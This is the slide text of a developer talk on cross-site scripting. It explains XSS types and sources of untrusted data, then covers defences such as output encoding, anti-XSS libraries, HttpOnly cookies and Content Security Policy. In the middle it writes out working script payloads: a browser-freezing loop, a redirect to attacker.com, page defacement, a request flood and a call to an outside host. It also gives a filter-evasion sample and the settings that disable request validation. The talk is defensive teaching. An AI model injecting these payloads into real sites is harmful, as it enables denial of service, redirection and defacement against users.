devouring security insufficient data validation risks cross site scripting

Devouring Security

Insufficient Data Validation Risks

Cross Site Scripting

Marudhamaran Gunasekaran

Watch the screen recording of the presentation at https://vimeo.com/106302349

disclaimer

• Techniques and Tools in this presentation should be used or applied on an application, only with prior consent of the application’s owner. Illegal otherwise.

Irrational fear of risks against our children

https://www.schneier.com/blog/archives/2014/08/irrational_fear.html

Perfect security?

http://infosanity.files.wordpress.com/2010/06/dilbert-securitycia.gif

Information Security Triangle

XSS

• Html equivalent of Sql injection? Some say – it indeed is• “Breaking out of a data context and entering a code context” – Jeff

Williams, Chairperson, OWASP

XSS Anatomy

• Benign Input: http://app:8020/odern/AdvSearch?q=xxxxx• Input: xxxxx | Output: xxxxx

• Malicious Input: http://app:8020/odern/AdvSearch?q=<em>xxxxx</em>• Input: <em>xxxxx</em> | Output: <em>xxxxx</em>

• Malicious Input failure: http://app:8020/odern/AdvSearch?q=<em>xxxxx</em>• Input: <em>xxxxx</em> | Output: &lt;em&gt;xxxxx&lt;/em&gt;

XSS Anatomy

• Remember your high school?

How you used to print a < > symbol on a html page by &lt; &gt;

Parsers in Browsers

Html Parser

CSS Parser

JavaScript Parser

XSS

• Breaking out of data context and entering the code context?

• By Code context? Do I mean?• Html markup• Html attributes• JavaScript• CSS (not the XSS CSS, but the Cascading Style Sheet CSS)• xml

Sources of untrusted data

• Url• Form data• Cookies• Request headers

• External services• Database

Request[“data”]$_REQUESTrequest.getParameter

Demo: XSS 101

• We know <script>alert(‘xss’);</script>

how about some Samy script?

Samy - http://namb.la/popular/tech.html

Formatted code: http://security.stackexchange.com/questions/37362/why-is-the-samy-worm-considered-xss

http://www.zdnet.com/tweetdeck-xss-worm-goes-viral-7000030436/

Auto send FB credentials to the Tunisian government via inserted javascript on non-https connection

XSS Types

• Type 0 – DOM Based• Type 1 – Reflected or Non-persistent XSS• Type 2 – Persistent or Stored XSS

Demo: Cookie hijacking and Privilege Escalation• Face/Off with John Travolta and Nicolas Cage

Demo: Cookie hijacking and Privilege Escalation• John Travolta – FBI• Nicolas Cage – Terrorist that planted the bomb.

• Where is the bomb? John Travolta would find it by tricking Nicolas Cage

My fave Payload: Dos the client

<script>var j=0;while(true){++j;setTimeout(function(){var i=0;while(true){++i;setTimeout(function(){var w=0;while(true){w++;}},0);}},0);}</script>

My fave Payload: Redirection

• <script>window.top.location=http://www.attacker.com;</script>

My fave Payload: Defacing

• <script>document.body.background=http://1.bp.blogspot.com/-ISLWH3-kFpo/Uai4UHCOcrI/AAAAAAAAAmA/a6y9Nq3Bk0g/s1600/logo_blue.gif;</script>

My fave Payload: Short XHR

• <script>cn=1;while(true){++cn;var w=window,r=w.XMLHttpRequest,j;if(r)r=new r();else for(j in{"Msxml2":1,"Microsoft":1})try{r=new ActiveXObject(j+".XMLHTTP");break}catch(e){}r.open("GET",document.location,false);r.send("");}</script>

• Better yet.. If you have jQuery

<script>$.get('http://prowarenesssecurity:8000/Pss/c.aspx‘);</script>

Input Sanitization

• Blacklist• Stop anything that starts with a < and followed by a character• Stop any words such as script, javascript, alert, xss• Stop the < > , “ ‘

• Fails because of elimentary evasive techniques like• <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet(Rsnake)

Blacklist vs Whitelist

• Blacklist – Don’t allow just the bad things I tell you, rest is fine

• What is bad? – anything that is bad today, anything the developer thinks

• Whitelist – Allow only these, I don’t care about the rest• What is good? – anything the business requires in the functionality

Don’t write your own Input Sanitizers• http://blog.codinghorror.com/protecting-your-cookies-httponly/

AntiXss libraries

• Microsoft AntiXss• AntiSamy for .Net, AntiSamy for Java• Reform for php

Microsoft AntiXss

• InputSanitizer• For purifying html input

• Encoder• For output encodring

Output encoding libraries

• https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

HttpOnly please!

Framework protections

• Ruby on Rails, ASP.Net MVC• XSS protections by default by output encoding

• But why developers don’t like it?• Why do they want to turn the framework protections off?

• Because they just do not want output encoding by default because it just does not look right• Because they want plain html to be rendered at the UI

• Say hello to ASP.Net MVC’s Html.Raw()

Framework Protections – Input validations• ASP.Net’s Request Validation

• Why is it there? When does it get triggered? Could we bypass it? Sure.

• <httpRuntime requestValidationMode="2.0" />• AllowHtml• ValidateInput(false)• ValidateRequest=false• Request.Unvalidated….

Use explicit input validation, or AntiXss librarieswhen you have request validations turned off

Browser defenses

• IE• Chrome• Safari

• X-XSS-Protection: 1; mode=block

Browser defenses and bypasses

• https://www.sysdream.com/sites/default/files/Abusing_IE8s_XSS_Filters%20(1).pdf

• https://blog.whitehatsec.com/internet-explorer-xss-filter/

• http://blog.elevenpaths.com/2014/01/how-to-bypass-antixss-filter-in-chrome.html

XSS Defences

• NoScript addon• Content-Security-Policy [No wide browser support yet especially IE]

Content Security Policy

• ‘xxx’ is the only domain you should my• Scripts• Styles• Images• Objects

from

Content Security Policy

• Blocking mode• Reporting mode

Content Security Policy

http://content-security-policy.com/

Content Security Policy

http://content-security-policy.com/

Tools: Watcher Addon for Fiddler (Passive scanning)

Tools: Xss Me addon for firefox (Active Scanning)• Demonstration at http://testfire.net/

Tools: Xenotix XSS Exploit Framework

Tools: ModSecurity (Web Application Firewall)

Tools: Zed Attack Proxy

Tools: Commercial tools?

• Go figure, shell out

XSS: Spot during code review

Source: 24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them

XSS: Spot during code review

Source: 24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them

Output encoding options

• php: • echo htmlentities($name)• ASP.Net code behind: • lblName.Text = "Hello, " + HttpUtility.HtmlEncode(txtValue.Text);• lblName.Text = "Hello," + AntiXss.HtmlEncode txtValue.Text);• ASPX view engine : • <%: data %>• Razor view engine: • @data

Code Review Tools

• Cat.Net still works with little tweaking on al older code base• Visual Code Grepper

Popular cheatsheets for XSS prevention• https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

• http://opensecurity.in/the-ultimate-xss-protection-cheat-sheet-for-developers/

:q!